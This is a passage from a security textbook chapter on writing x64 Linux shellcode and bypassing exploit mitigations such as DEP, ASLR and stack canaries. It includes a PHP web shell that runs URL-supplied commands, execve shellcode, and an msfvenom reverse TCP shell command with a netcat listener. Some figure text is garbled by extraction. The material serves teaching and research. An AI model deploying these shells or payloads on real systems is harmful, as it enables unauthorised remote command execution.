Listing 10-10: A simple PHP shell

After you’ve dropped this PHP shell to the web root, you can execute 
arbitrary commands on the system in the context of the web server by 
requesting a URL in the form http://server/shell.php?exec=CMD. The URL 
will result in the PHP code being executed on the server: the PHP shell will 
extract the exec parameter from the URL and pass it to the system API, with 
the result of executing the arbitrary command CMD. 

Another advantage of PHP is that it doesn’t matter what else is in the 
file when it’s written: the PHP parser will look for the <?php … ?> tags and 
execute any PHP code within those tags regardless of whatever else is in 
the file. This is useful when you don’t have full control over what’s written 
to a file during the vulnerability exploitation.

Writing Shell Code
Now let’s look at how to start writing your own shell code. Using this shell 
code, you can execute arbitrary commands within the context of the applica-
tion you’re exploiting with your discovered memory corruption vulnerability.

Writing your own shell code can be complex, and although I can’t do it 
full justice in the remainder of this chapter, I’ll give you some examples you 
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can build on as you continue your own research into the subject. I’ll start 
with some basic techniques and challenges of writing x64 code using the 
Linux platform. 

Getting Started
To start writing shell code, you need the following:

•	 An installation of Linux x64.

•	 A compiler; both GCC and CLANG are suitable.

•	 A copy of the Netwide Assembler (NASM); most Linux distributions have a 
package available for this.

On Debian and Ubuntu, the following command should install every-
thing you need:

sudo apt-get install build-essential nasm

We’ll write the shell code in x64 assembly language and assemble it using 
nasm, a binary assembler. Assembling your shell code should result in a binary 
file containing just the machine instructions you specified. To test your shell 
code, you can use Listing 10-11, written in C, to act as a test harness.

test_shellcode.c	 #include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>

typedef int (*exec_code_t)(void);

int main(int argc, char** argv) {
  if (argc < 2) {
    printf("Usage: test_shellcode shellcode.bin\n");
    exit(1);
  }

  u int fd = open(argv[1], O_RDONLY);
  if (fd <= 0) {
    perror("open");
    exit(1);
  }

  struct stat st;
  if (fstat(fd, &st) == -1) {
    perror("stat");
    exit(1);
  }

  v exec_code_t shell = mmap(NULL, st.st_size, 
     PROT_EXEC | PROT_READ, MAP_PRIVATE, fd, 0);
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  if (shell == MAP_FAILED) {
    perror("mmap");
    exit(1);
  }

  printf("Mapped Address: %p\n", shell);
  printf("Shell Result: %d\n", shell());

  return 0;
}

Listing 10-11: A shell code test harness

The code takes a path from the command line  and then maps it into 
memory as a memory-mapped file . We specify that the code is executable 
with the PROT_EXEC flag ; otherwise, various platform-level exploit mitiga-
tions could potentially stop the shell code from executing. 

Compile the test code using the installed C compiler by executing the 
following command at the shell. You shouldn’t see any warnings during 
compilation.

$ cc –Wall –o test_shellcode test_shellcode.c

To test the code, put the following assembly code into the file shellcode​
.asm, as shown in Listing 10-12. 

; Assemble as 64 bit
BITS 64
mov rax, 100
ret

Listing 10-12: A simple shell code example

The shell code in Listing 10-12 simply moves the value 100 to the RAX 
register. The RAX register is used as the return value for a function call. 
The test harness will call this shell code as if it were a function, so we would 
expect the value of the RAX register to be returned to the test harness. The 
shell code then immediately issues the ret instruction, jumping back to the 
caller of the shell code, which in this case is our test harness. The test harness 
should then print out the return value of 100, if successful. 

Let’s try it out. First, we’ll need to assemble the shell code using nasm, and 
then we’ll execute it in the harness:

$ nasm -f bin -o shellcode.bin shellcode.asm
$ ./test_shellcode shellcode.bin
Mapped Address: 0x7fa51e860000
Shell Result: 100

The output returns 100 to the test harness, verifying that we’re success-
fully loading and executing the shell code. It’s also worth verifying that the 
assembled code in the resulting binary matches what we would expect. We 
can check this with the companion ndisasm tool, which disassembles this 
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simple binary file without having to use a disassembler, such as IDA Pro. 
We need to use the -b 64 switch to ensure ndisasm uses 64-bit disassembly, as 
shown here:

$ ndisasm -b 64 shellcofe.bin
00000000  B864000000        mov eax,0x64
00000005  C3                ret

The output from ndisasm should match up with the instructions we speci-
fied in the original shell code file in Listing 10-12. Notice that we used the 
RAX register in the mov instruction, but in the disassembler output we find 
the EAX register. The assembler uses this 32-bit register rather than a 64-bit 
register because it realizes that the constant 0x64 fits into a 32-bit constant, so 
it can use a shorter instruction rather than loading an entire 64-bit constant. 
This doesn’t change the behavior of the code because, when loading the 
constant into EAX, the processor will automatically set the upper 32 bits of 
the RAX register to zero. The BITS directive is also missing, because that is a 
directive for the nasm assembler to enable 64-bit support and is not needed in 
the final assembled output.

Simple Debugging Technique
Before you start writing more complicated shell code, let’s examine an 
easy debugging method. This is important when testing your full exploit, 
because it might not be easy to stop execution of the shell code at the exact 
location you want. We’ll add a breakpoint to our shell code using the int3 
instruction so that when the associated code is called, any attached debug-
ger will be notified. 

Modify the code in Listing 10-12 as shown in Listing 10-13 to add the 
int3 breakpoint instruction and then rerun the nasm assembler. 

# Assemble as 64 bit
BITS 64
int3
mov rax, 100
ret

Listing 10-13: A simple shell code example with a breakpoint

If you execute the test harness in a debugger, such as GDB, the output 
should be similar to Listing 10-14.

$ gdb --args ./test_shellcode shellcode.bin
GNU gdb 7.7.1
...
(gdb) display/1i $rip
(gdb) r
Starting program: /home/user/test_shellcode debug_break.bin
Mapped Address: 0x7fb6584f3000

 Program received signal SIGTRAP, Trace/breakpoint trap. 
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0x00007fb6584f3001 in ?? ()
1: x/i $rip

 => 0x7fb6584f3001:      mov    $0x64,%eax 
(gdb) stepi
0x00007fb6584f3006 in ?? ()
1: x/i $rip
=> 0x7fb6584f3006:      retq
(gdb)
0x00000000004007f6 in main ()
1: x/i $rip
=> 0x4007f6 <main+281>: mov    %eax,%esi

Listing 10-14: Setting a breakpoint on a shell

When we execute the test harness, the debugger stops on a SIGTRAP sig-
nal . The reason is that the processor has executed the int3 instruction, 
which acts as a breakpoint, resulting in the OS sending the SIGTRAP signal 
to the process that the debugger handles. Notice that when we print the 
instruction the program is currently running , it’s not the int3 instruc-
tion but instead the mov instruction immediately afterward. We don’t see 
the int3 instruction because the debugger has automatically skipped over 
it to allow the execution to continue.

Calling System Calls
The example shell code in Listing 10-12 only returns the value 100 to the 
caller, in this case our test harness, which is not very useful for exploiting a 
vulnerability; for that, we need the system to do some work for us. The easi-
est way to do that in shell code is to use the OS’s system calls. A system call is 
specified using a system call number defined by the OS. It allows you to call 
basic system functions, such as opening files and executing new processes.

Using system calls is easier than calling into system libraries because 
you don’t need to know the memory location of other executable code, such 
as the system C library. Not needing to know library locations makes your 
shell code simpler to write and more portable across different versions of 
the same OS.

However, there are downsides to using system calls: they generally imple-
ment much lower-level functionality than the system libraries, making them 
more complicated to call, as you’ll see. This is especially true on Windows, 
which has very complicated system calls. But for our purposes, a system call 
will be sufficient for demonstrating how to write your own shell code.

System calls have their own defined application binary interface (ABI) 
(see “Application Binary Interface” on page 123 for more details). In x64 
Linux, you execute a system call using the following ABI:

•	 The number of the system call is placed in the RAX register.

•	 Up to six arguments can be passed into the system call in the registers 
RDI, RSI, RDX, R10, R8 and R9.
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•	 The system call is issued using the syscall instruction.

•	 The result of the system call is stored in RAX after the syscall instruc-
tion returns.

For more information about the Linux system call process, run man 2 
syscall on a Linux command line. This page contains a manual that 
describes the system call process and defines the ABI for various differ-
ent architectures, including x86 and ARM. In addition, man 2 syscalls lists 
all the available system calls. You can also read the individual pages for a 
system call by running man 2 <SYSTEM CALL NAME>. 

The exit System Call

To use a system call, we first need the system call number. Let’s use the exit 
system call as an example. 

How do we find the number for a particular system call? Linux comes 
with header files, which define all the system call numbers for the current 
platform, but trying to find the right header file on disk can be like chasing 
your own tail. Instead, we’ll let the C compiler do the work for us. Compile 
the C code in Listing 10-15 and execute it to print the system call number 
of the exit system call. 

#include <stdio.h>
#include <sys/syscall.h>

int main() {
  printf("Syscall: %d\n", SYS_exit);
  return 0;
}

Listing 10-15: Getting the system call number

On my system, the system call number for exit is 60, which is printed to 
my screen; yours may be different depending on the version of the Linux 
kernel you’re using, although the numbers don’t change very often. The exit 
system call specifically takes process exit code as a single argument to return 
to the OS and indicate why the process exited. Therefore, we need to pass 
the number we want to use for the process exit code into RDI. The Linux ABI 
specifies that the first parameter to a system call is specified in the RDI regis-
ter. The exit system call doesn’t return anything from the kernel; instead, the 
process (the shell) is immediately terminated. Let’s implement the exit call. 
Assemble Listing 10-16 with nasm and run it inside the test harness.

BITS 64
; The syscall number of exit
mov rax, 60
; The exit code argument
mov rdi, 42
syscall
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; exit should never return, but just in case.
ret

Listing 10-16: Calling the exit system call in shell code

Notice that the first print statement in Listing 10-16, which shows where 
the shell code was loaded, is still printed, but the subsequent print statement 
for the return of the shell code is not. This indicates the shell code has suc-
cessfully called the exit system call. To double-check this, you can display the 
exit code from the test harness in your shell, for example, by using echo $? 
in bash. The exit code should be 42, which is what we passed in the mov rdi 
argument. 

The write System Call

Now let’s try calling write, a slightly more complicated system call that writes 
data to a file. Use the following syntax for the write system call:

ssize_t write(int fd, const void *buf, size_t count);

The fd argument is the file descriptor to write to. It holds an integer 
value that describes which file you want to access. Then you declare the 
data to be written by pointing the buffer to the location of the data. You 
can specify how many bytes to write using count.

Using the code in Listing 10-17, we’ll pass the value 1 to the fd argu-
ment, which is the standard output for the console. 

BITS 64

%define SYS_write 1
%define STDOUT 1

_start:
  mov rax, SYS_write
; The first argument (rdi) is the STDOUT file descriptor
  mov rdi, STDOUT
; The second argument (rsi) is a pointer to a string
  lea rsi, [_greeting]
; The third argument (rdx) is the length of the string to write
  mov rdx, _greeting_end - _greeting
; Execute the write system call
  syscall
  ret

_greeting:
  db "Hello User!", 10
_greeting_end:

Listing 10-17: Calling the write system call in shell code

By writing to standard output, we’ll print the data specified in buf 
to the console so we can see whether it worked. If successful, the string 
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Hello User! should be printed to the shell console that the test harness is 
running on. The write system call should also return the number of bytes 
written to the file.

Now assemble Listing 10-17 with nasm and execute the binary in the test 
harness: 

$ nasm -f bin -o shellcode.bin shellcode.asm
$ ./test_shellcode shellcode.bin
Mapped Address: 0x7f165ce1f000
Shell Result: -14

Instead of printing the Hello User! greeting we were expecting, we get a 
strange result, -14. Any value returning from the write system call that’s less 
than zero indicates an error. On Unix-like systems, including Linux, there’s 
a set of defined error numbers (abbreviated as errno). The error code is 
defined as positive in the system but returns as negative to indicate that it’s 
an error condition. You can look up the error code in the system C header 
files, but the short Python script in Listing 10-18 will do the work for us.

import os

# Specify the positive error number
err = 14
print os.errno.errorcode[err]
# Prints 'EFAULT'
print os.strerror(err)
# Prints 'Bad address'

Listing 10-18: A simple Python script to print error codes

Running the script will print the error code name as EFAULT and the string 
description as Bad address. This error code indicates that the system call tried 
to access some memory that was invalid, resulting in a memory fault. The 
only memory address we’re passing is the pointer to the greeting. Let’s look 
at the disassembly to find out whether the pointer we’re passing is at fault:

00000000  B801000000        mov rax,0x1
00000005  BF01000000        mov rdi,0x1
0000000A  488D34251A000000  lea rsi,[0x1a]
00000012  BA0C000000        mov rdx,0xc
00000017  0F05              syscall
00000019  C3                ret
0000001A  db "Hello User!", 10

Now we can see the problem with our code: the lea instruction, which 
loads the address to the greeting, is loading the absolute address 0x1A. 
But if you look at the test harness executions we’ve done so far, the address 
at which we load the executable code isn’t at 0x1A or anywhere close to it. 
This mismatch between the location where the shell code loads and the 
absolute addresses causes a problem. We can’t always determine in advance 
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where the shell code will be loaded in memory, so we need a way of refer-
encing the greeting relative to the current executing location. Let’s look at 
how to do this on 32-bit and 64-bit x86 processors.

Accessing the Relative Address on 32- and 64-Bit Systems

In 32-bit x86 mode, the simplest way of getting a relative address is to take 
advantage of the fact that the call instruction works with relative addresses. 
When a call instruction executes, it pushes the absolute address of the subse-
quent instruction onto the stack as a return address. We can use this absolute 
return address value to calculate where the current shell code is executing 
from and adjust the memory address of the greeting to match. For example, 
replace the lea instruction in Listing 10-17 with the following code:

call _get_rip
_get_rip:
; Pop return address off the stack
pop rsi
; Add relative offset from return to greeting
add rsi, _greeting - _get_rip

Using a relative call works well, but it massively complicates the code. 
Fortunately, the 64-bit instruction set introduced relative data addressing. 
We can access this in nasm by adding the rel keyword in front of an address. 
By changing the lea instruction as follows, we can access the address of the 
greeting relative to the current executing instruction:

lea rsi, [rel _greeting]

Now we can reassemble our shell code with these changes, and the mes-
sage should print successfully:

$ nasm -f bin -o shellcode.bin shellcode.asm
$ ./test_shellcode shellcode.bin
Mapped Address: 0x7f165dedf000
Hello User!
Shell Result: 12

Executing the Other Programs
Let’s wrap up our overview of system calls by executing another binary using 
the execve system call. Executing another binary is a common technique for 
getting execution on a target system that doesn’t require long, complicated 
shell code. The execve system call takes three parameters: the path to the pro-
gram to run, an array of command line arguments with the array terminated 
by NULL, and an array of environment variables terminated by NULL. Calling 
execve requires a bit more work than calling simple system calls, such as write, 
because we need to build the arrays on the stack; however, it’s not that hard. 
Listing 10-19 executes the uname command by passing it the -a argument.



264   Chapter 10

execve.asm		  BITS 64

%define SYS_execve 59

_start:
  mov rax, SYS_execve
; Load the executable path 

 u lea rdi, [rel _exec_path]
; Load the argument
  lea rsi, [rel _argument]
; Build argument array on stack = { _exec_path, _argument, NULL }

 v push 0
  push rsi
  push rdi

 w mov rsi, rsp
; Build environment array on stack = { NULL }
  push 0

 x mov rdx, rsp
 y syscall 

; execve shouldn't return, but just in case
  ret

_exec_path:
  db "/bin/uname", 0
_argument:
  db "-a", 0

Listing 10-19: Executing an arbitrary executable in shell code

The shellcode in Listing 10-19 is complex, so let’s break it down step-by-
step. First, the addresses of two strings, "/bin/uname" and "-a", are loaded into 
registers . The addresses of the two strings with the final NULL (which is 
represented by a 0) are then pushed onto the stack in reverse order . The 
code copies the current address of the stack to the RSI register, which is the 
second argument to the system call . Next, a single NULL is pushed on 
the stack for the environment array, and the address on the stack is copied 
to the RDX register x, which is the third argument to the system call. The 
RDI register already contains the address of the "/bin/uname" string so our 
shell code does not need to reload the address before calling the system 
call. Finally, we execute the execve system call y, which executes the shell 
equivalent of the following C code:

char* args[] = { "/bin/uname",  "-a", NULL };
char* envp[] = { NULL };
execve("/bin/uname", args, envp);

If you assemble the execve shell code, you should see output similar to 
the following, where command line /bin/uname -a is executed:

$ nasm -f bin -o execve.bin execve.asm
$ ./test_shellcode execve.bin
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Mapped Address: 0x7fbdc3c1e000
Linux foobar 4.4.0 Wed Dec 31 14:42:53 PST 2014 x86_64 x86_64 x86_64 GNU/Linux

Generating Shell Code with Metasploit
It’s worth practicing writing your own shell code to gain a deeper under-
standing of it. However, because people have been writing shell code for a 
long time, a wide range of shell code to use for different platforms and pur-
poses is already available online.

The Metasploit project is one useful repository of shell code. Metasploit 
gives you the option of generating shell code as a binary blob, which you can 
easily plug into your own exploit. Using Metasploit has many advantages:

•	 Handling encoding of the shell code by removing banned characters or 
formatting to avoid detection

•	 Supporting many different methods of gaining execution, including 
simple reverse shell and executing new binaries

•	 Supporting multiple platforms (including Linux, Windows, and macOS) 
as well as multiple architectures (such as x86, x64, and ARM)

I won’t explain in great detail how to build Metasploit modules or use 
their staged shell code, which requires the use of the Metasploit console to 
interact with the target. Instead, I’ll use a simple example of a reverse TCP 
shell to show you how to generate shell code using Metasploit. (Recall that 
a reverse TCP shell allows the target machine to communicate with the 
attacker’s machine via a listening port, which the attacker can use to gain 
execution.)

Accessing Metasploit Payloads

The msfvenom command line utility comes with a Metasploit installa-
tion, which provides access to the various shell code payloads built into 
Metasploit. We can list the payloads supported for x64 Linux using the -l 
option and filtering the output:

# msfvenom -l | grep linux/x64
--snip--
linux/x64/shell_bind_tcp    Listen for a connection and spawn a command shell
linux/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell

We’ll use two shell codes:

shell_bind_tcp  Binds to a TCP port and opens a local shell when con-
nected to it

shell_reverse_tcp  Attempts to connect back to your machine with a 
shell attached

Both of these payloads should work with a simple tool, such as Netcat, 
by either connecting to the target system or listening on the local system. 
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Building a Reverse Shell

When generating the shell code, you must specify the listening port (for 
bind and reverse shell) and the listening IP (for reverse shell, this is your 
machine’s IP address). These options are specified by passing LPORT=port 
and LHOST=IP, respectively. We’ll use the following code to build a reverse 
TCP shell, which will connect to the host 172.21.21.1 on TCP port 4444:

# msfvenom -p linux/x64/shell_reverse_tcp -f raw LHOST=172.21.21.1\ 
           LPORT=4444 > msf_shellcode.bin

The msfvenom tool outputs the shell code to standard output by default, so 
you’ll need to pipe it to a file; otherwise, it will just print to the console and 
be lost. We also need to specify the -f raw flag to output the shell code as a 
raw binary blob. There are other potential options as well. For example, you 
can output the shell code to a small .elf executable, which you can run directly 
for testing. Because we have a test harness, we won’t need to do that. 

Executing the Payload

To execute the payload, we need to set up a listening instance of netcat listen-
ing on port 4444 (for example, nc -l 4444). It’s possible that you won’t see 
a prompt when the connection is made. However, typing the id command 
should echo back the result:

$ nc -l 4444
# Wait for connection
id
uid=1000(user) gid=1000(user) groups=1000(user)

The result shows that the shell successfully executed the id command 
on the system the shell code is running on and printed the user and group 
IDs from the system. You can use a similar payload on Windows, macOS, 
and even Solaris. It might be worthwhile to explore the various options 
in msfvenom on your own.

Memory Corruption Exploit Mitigations
In “Exploiting Memory Corruption Vulnerabilities” on page 246, I alluded 
to exploit mitigations and how they make exploiting memory vulnerabilities 
difficult. The truth is that exploiting a memory corruption vulnerability on 
most modern platforms can be quite complicated due to exploit mitigations 
added to the compilers (and the generated application) as well as to the OS.

Security vulnerabilities seem to be an inevitable part of software devel-
opment, as do significant chunks of source code written in memory-unsafe 
languages that are not updated for long periods of time. Therefore, it’s 
unlikely that memory corruption vulnerabilities will disappear overnight. 
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Instead of trying to fix all these vulnerabilities, developers have imple-
mented clever techniques to mitigate the impact of known security weak-
nesses. Specifically, these techniques aim to make exploitation of memory 
corruption vulnerabilities difficult or, ideally, impossible. In this section, I’ll 
describe some of the exploit mitigation techniques used in contemporary 
platforms and development tools that make it more difficult for attackers to 
exploit these vulnerabilities.

Data Execution Prevention
As you saw earlier, one of the main aims when developing an exploit is 
to gain control of the instruction pointer. In my previous explanation, I 
glossed over problems that might occur when placing your shell code in 
memory and executing it. On modern platforms, you’re unlikely to be able 
to execute arbitrary shell code as easily as described earlier due to Data 
Execution Prevention (DEP) or No-Execute (NX) mitigation. 

DEP attempts to mitigate memory corruption exploitation by requiring 
memory with executable instructions to be specially allocated by the OS. This 
requires processor support so that if the process tries to execute memory at 
an address that’s not marked as executable, the processor raises an error. The 
OS then terminates the process in error to prevent further execution. 

The error resulting from executing nonexecutable memory can be 
hard to spot and look confusing at first. Almost all platforms misreport the 
error as Segmentation fault or Access violation on what looks like potentially 
legitimate code. You might mistake this error for the instruction’s attempt 
to access invalid memory. Due to this confusion, you might spend time 
debugging your code to figure out why your shell code isn’t executing cor-
rectly, believing it to be a bug in your code when it’s actually DEP being 
triggered. For example, Listing 10-20 shows an example of a DEP crash.

GNU gdb 7.7.1
(gdb) r
Starting program: /home/user/triage/dep

Program received signal SIGSEGV, Segmentation fault.
0xbffff730 in ?? ()

(gdb) x/3i $pc
=> 0xbffff730:  push   $0x2au
   0xbffff732:  pop    %eax
   0xbffff733:  ret

Listing 10-20: An example crash from executing nonexecutable memory

It’s tricky to determine the source of this crash. At first glance, you might 
think it’s due to an invalid stack pointer, because the push instruction at  
would result in the same error. Only by looking at where the instruction is 
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located can you discover it was executing nonexecutable memory. You can 
determine whether it’s in executable memory by using the memory map com-
mands described in Table 10-8.

DEP is very effective in many cases at preventing easy exploitation of 
memory corruption vulnerabilities, because it’s easy for a platform developer 
to limit executable memory to specific executable modules, leaving areas like 
the heap or stack nonexecutable. However, limiting executable memory in 
this way does require hardware and software support, leaving software vul-
nerable due to human error. For example, when exploiting a simple network-
connected device, it might be that the developers haven’t bothered to enable 
DEP or that the hardware they’re using doesn’t support it. 

If DEP is enabled, you can use the return-oriented programming method 
as a workaround.

Return-Oriented Programming Counter-Exploit
The development of the return-oriented programming (ROP) technique was in 
direct response to the increase in platforms equipped with DEP. ROP is a 
simple technique that repurposes existing, already executable instructions 
rather than injecting arbitrary instructions into memory and executing 
them. Let’s look at a simple example of a stack memory corruption exploit 
using this technique.

On Unix-like platforms, the C library, which provides the basic API for 
applications such as opening files, also has functions that allow you to start 
a new process by passing the command line in program code. The system() 
function is such a function and has the following syntax:

int system(const char *command);

The function takes a simple command string, which represents the 
program to run and the command line arguments. This command string 
is passed to the command interpreter, which we’ll come back to later. For 
now, know that if you write the following in a C application, it executes the 
ls application in the shell: 

system("ls");

If we know the address of the system API in memory, we can redirect the 
instruction pointer to the start of the API’s instructions; in addition, if we 
can influence the parameter in memory, we can start a new process under 
our control. Calling the system API allows you to bypass DEP because, as far 
as the processor and platform are concerned, you’re executing legitimate 
instructions in memory marked as executable. Figure 10-8 shows this pro-
cess in more detail.

In this very simple visualization, ROP executes a function provided 
by the C library (libc) to bypass DEP. This technique, specifically called 
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Ret2Libc, laid the foundation of ROP as we know it today. You can generalize 
this technique to write almost any program using ROP, for example, to imple-
ment a full Turing complete system entirely by manipulating the stack.

Integer 0

More calls

Return: exit func

Address of "1s" string

Return: system func

Current stack

...
Func:
 ret

...
system:
 ...
 ret

...
exit:
 syscall

Execute system ("1s")

Execute exit(0)

St
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k 
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p 
di

re
ct
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n

Figure 10-8: A simple ROP to call the system API

The key to understanding ROP is to know that a sequence of instruc-
tions doesn’t have to execute as it was originally compiled into the program’s 
executable code. This means you can take small snippets of code throughout 
the program or in other executable code, such as libraries, and repurpose 
them to perform actions the developers didn’t originally intend to execute. 
These small sequences of instructions that perform some useful function 
are called ROP gadgets. Figure 10-9 shows a more complex ROP example that 
opens a file and then writes a data buffer to the file.

Length of data

0x10 byte space

Pointer to data

Return: GADGET3

Address of open

O_WRONLY

Pointer to "/tmp/myfile"

Lower stack frame

Return: GADGET2

...
GADGET1:
 pop edi
 pop esi
 pop ecx
 ret

...
GADGET2:
 push edi
 push esi
 call ecx
 add esp, 0x10
 ret

...
GADGET3:
 push eax
 call write
 ret

open("/tmp/myfile", O_WRONLY)

write(fd, &data, length)

St
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p 
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Figure 10-9: A more complex ROP calling open and then writing to the file by using a 
couple of gadgets

Because the value of the file descriptor returning from open probably 
can’t be known ahead of time, this task would be more difficult to do using 
the simpler Ret2Libc technique.
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Populating the stack with the correct sequence of operations to exe-
cute as ROP is easy if you have a stack buffer overflow. But what if you only 
have some other method of gaining the initial code execution, such as a 
heap buffer overflow? In this case, you’ll need a stack pivot, which is a ROP 
gadget that allows you to set the current stack pointer to a known value. For 
example, if after the exploit EAX points to a memory buffer you control 
(perhaps it’s a VTable pointer), you can gain control over the stack pointer 
and execute your ROP chain using a gadget that looks like Listing 10-21.

xchg esp, eax # Exchange the EAX and ESP registers
ret           # Return, will execute address on new stack

Listing 10-21: Gaining execution using a ROP gadget 

The gadget shown in Listing 10-21 switches the register value EAX with 
the value ESP, which indexes the stack in memory. Because we control the 
value of EAX, we can pivot the stack location to the set of operations (such 
as in Figure 10-9), which will execute our ROP.

Unfortunately, using ROP to get around DEP is not without problems. 
Let’s look at some ROP limitations and how to deal with them.

Address Space Layout Randomization (ASLR)
Using ROP to bypass DEP creates a couple of problems. First, you need to 
know the location of the system functions or ROP gadgets you’re trying 
to execute. Second, you need to know the location of the stack or other 
memory locations to use as data. However, finding locations wasn’t always 
a limiting factor.

When DEP was first introduced into Windows XP SP2, all system 
binaries and the main executable file were mapped in consistent loca-
tions, at least for a given update revision and language. (This is why earlier 
Metasploit modules require you to specify a language). In addition, the 
operation of the heap and the locations of thread stacks were almost com-
pletely predictable. Therefore, on XP SP2 it was easy to circumvent DEP, 
because you could guess the location of all the various components you 
might need to execute your ROP chain.

Memory Information Disclosure Vulnerabilities

With the introduction of Address Space Layout Randomization (ASLR), bypass-
ing DEP became more difficult. As its name suggests, the goal of this miti-
gation method is to randomize the layout of a process’s address space to 
make it harder for an attacker to predict. Let’s look at a couple of ways that 
an exploit can bypass the protections provided by ASLR.

Before ASLR, information disclosure vulnerabilities were typically 
useful for circumventing an application’s security by allowing access to pro-
tected information in memory, such as passwords. These types of vulner-
abilities have found a new use: revealing the layout of the address space to 
counter randomization by ASLR.



Finding and Exploiting Security Vulnerabilities   271

For this kind of exploit, you don’t always need to find a specific memory 
information disclosure vulnerability; in some cases, you can create an infor-
mation disclosure vulnerability from a memory corruption vulnerability. 
Let’s use an example of a heap memory corruption vulnerability. We can 
reliably overwrite an arbitrary number of bytes after a heap allocation, which 
can in turn be used to disclose the contents of memory using a heap over-
flow like so: one common structure that might be allocated on the heap is 
a buffer containing a length-prefixed string, and when the string buffer is 
allocated, an additional number of bytes is placed at the front to accommo-
date a length field. The string data is then stored after the length, as shown 
in Figure 10-10.

Vulnerable allocation String length
5 bytes

Overflow String length
100 bytes

String data
"Hello"

String data
"Hello"

Other allocations

Other allocations

String buffer (9 bytes)

String buffer (9 bytes)

Readable data (5 bytes)

Readable data (100 bytes)Overflow direction

�

�

Figure 10-10: Converting memory corruption to information disclosure

At the top is the original pattern of heap allocations . If the vulnerable 
allocation is placed prior to the string buffer in memory, we would have the 
opportunity to corrupt the string buffer. Prior to any corruption occurring, 
we can only read the 5 valid bytes from the string buffer. 

At the bottom, we cause the vulnerable allocation to overflow by just 
enough to modify only the length field of the string . We can set the 
length to an arbitrary value, in this case, 100 bytes. Now when we read 
back the string, we’ll get back 100 bytes instead of only the 5 bytes that 
were originally allocated. Because the string buffer’s allocation is not that 
large, data from other allocations would be returned, which could include 
sensitive memory addresses, such as VTable pointers and heap allocation 
pointers. This disclosure gives you enough information to bypass ASLR.

Exploiting ASLR Implementation Flaws

The implementation of ASLR is never perfect due to limitations of per-
formance and available memory. These shortcomings lead to various 
implementation-specific flaws, which you can also use to disclose the ran-
domized memory locations. 

Most commonly, the location of an executable in ASLR isn’t always 
randomized between two separate processes, which would result in a 
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vulnerability that could disclose the location of memory from one connec-
tion to a networked application, even if that might cause that particular 
process to crash. The memory address could then be used in a subsequent 
exploit. 

On Unix-like systems, such as Linux, this lack of randomization should 
only occur if the process being exploited is forked from an existing master 
process. When a process forks, the OS creates an identical copy of the origi-
nal process, including all loaded executable code. It’s fairly common for 
servers, such as Apache, to use a forking model to service new connections. 
A master process will listen on a server socket waiting for new connections, 
and when one is made, a new copy of the current process is forked and the 
connected socket gets passed to service the connection.

On Windows systems, the flaw manifests in a different way. Windows 
doesn’t really support forking processes, although once a specific execut-
able file load address has been randomized, it will always be loaded to 
that same address until the system is rebooted. If this wasn’t done, the OS 
wouldn’t be able to share read-only memory between processes, resulting 
in increased memory usage.

From a security perspective, the result is that if you can leak a location 
of an executable once, the memory locations will stay the same until the 
system is rebooted. You can use this to your advantage because you can leak 
the location from one execution (even if it causes the process to crash) and 
then use that address for the final exploit.

Bypassing ASLR Using Partial Overwrites

Another way to circumvent ASLR is to use partial overwrites. Because 
memory tends to be split into distinct pages, such as 4096 bytes, operat-
ing systems restrict how random layout memory and executable code can 
load. For example, Windows does memory allocations on 64KB boundar-
ies. This leads to an interesting weakness in that the lower bits of random 
memory pointers can be predictable even if the upper bits are totally 
random.

The lack of randomization in the lower bits might not sound like much 
of an issue, because you would still need to guess the upper bits of the 
address if you’re overwriting a pointer in memory. Actually, it does allow 
you to selectively overwrite part of the pointer value when running on a 
little endian architecture due to the way that pointer values are stored in 
memory.

The majority of processor architectures in use today are little endian 
(I discussed endianness in more detail in “Binary Endian” on page 41). 
The most important detail to know about little endian for partial overwrites 
is that the lower bits of a value are stored at a lower address. Memory cor-
ruptions, such as stack or heap overflows, typically write from a low to a 
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high address. Therefore, if you can control the length of the overwrite, it 
would be possible to selectively overwrite only the predictable lower bits 
but not the randomized higher bits. You can then use the partial overwrite 
to convert a pointer to address another memory location, such as a ROP 
gadget. Figure 10-11 shows how to change a memory pointer using a partial 
overwrite.

Buffer

0x07060504

Overflow direction

Buffer 04 05 06 07

AA BB 06 07

0x0706BBAA

Figure 10-11: An example of a short overwrite

We start with an address of 0x07060504. We know that, due to ASLR, 
the top 16 bits (the 0x0706 part) are randomized, but the lower 16 bits 
are not. If we know what memory the pointer is referencing, we can selec-
tively change the lower bits and accurately specify a location to control. 
In this example, we overwrite the lower 16 bits to make a new address of 
0x0706BBAA. 

Detecting Stack Overflows with Memory Canaries
Memory canaries, or cookies, are used to prevent exploitation of a memory 
corruption vulnerability by detecting the corruption and immediately caus-
ing the application to terminate. You’ll most commonly encounter them 
in reference to stack memory corruption prevention, but canaries are also 
used to protect other types of data structures, such as heap headers or vir-
tual table pointers. 

A memory canary is a random number generated by an application 
during startup. The random number is stored in a global memory loca-
tion so it can be accessed by all code in the application. This random 
number is pushed onto the stack when entering a function. Then, when 
the function is exited, the random value is popped off the stack and 
compared to the global value. If the global value doesn’t match what was 
popped off the stack, the application assumes the stack memory has been 
corrupted and terminates the process as quickly as possible. Figure 10-12 
shows how inserting this random number detects danger, like a canary in 
a coal mine, helping to prevent the attacker from gaining access to the 
return address.
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Figure 10-12: A stack overflow with a stack canary

Placing the canary below the return address on the stack ensures that 
any overflow corruption that would modify the return address would also 
modify the canary. As long as the canary value is difficult to guess, the 
attacker can’t gain control over the return address. Before the function 
returns, it calls code to check whether the stack canary matches what it 
expects. If there’s a mismatch, the program immediately crashes.

Bypassing Canaries by Corrupting Local Variables

Typically, stack canaries protect only the return address of the currently 
executing function on the stack. However, there are more things on the 
stack that can be exploited than just the buffer that’s being overflowed. 
There might be pointers to functions, pointers to class objects that have 
a virtual function table, or, in some cases, an integer variable that can be 
overwritten that might be enough to exploit the stack overflow. 

If the stack buffer overflow has a controlled length, it might be possible 
to overwrite these variables without ever corrupting the stack canary. Even 
if the canary is corrupted, it might not matter as long as the variable is used 
before the canary is checked. Figure 10-13 shows how attackers might cor-
rupt local variables without affecting the canary. 

In this example, we have a function with a function pointer on the stack. 
Due to how the stack memory is laid out, the buffer we’ll overflow is at a lower 
address than the function pointer f, which is also located on the stack .

When the overflow executes, it corrupts all memory above the buffer, 
including the return address and the stack canary . However, before the 
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canary checking code runs (which would terminate the process), the func-
tion pointer f is used. This means we still get code execution  by calling 
through f, and the corruption is never detected.
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0x12345678
Call f()

Stack canary

0x12345678

f = ADDR f = 0x12345678
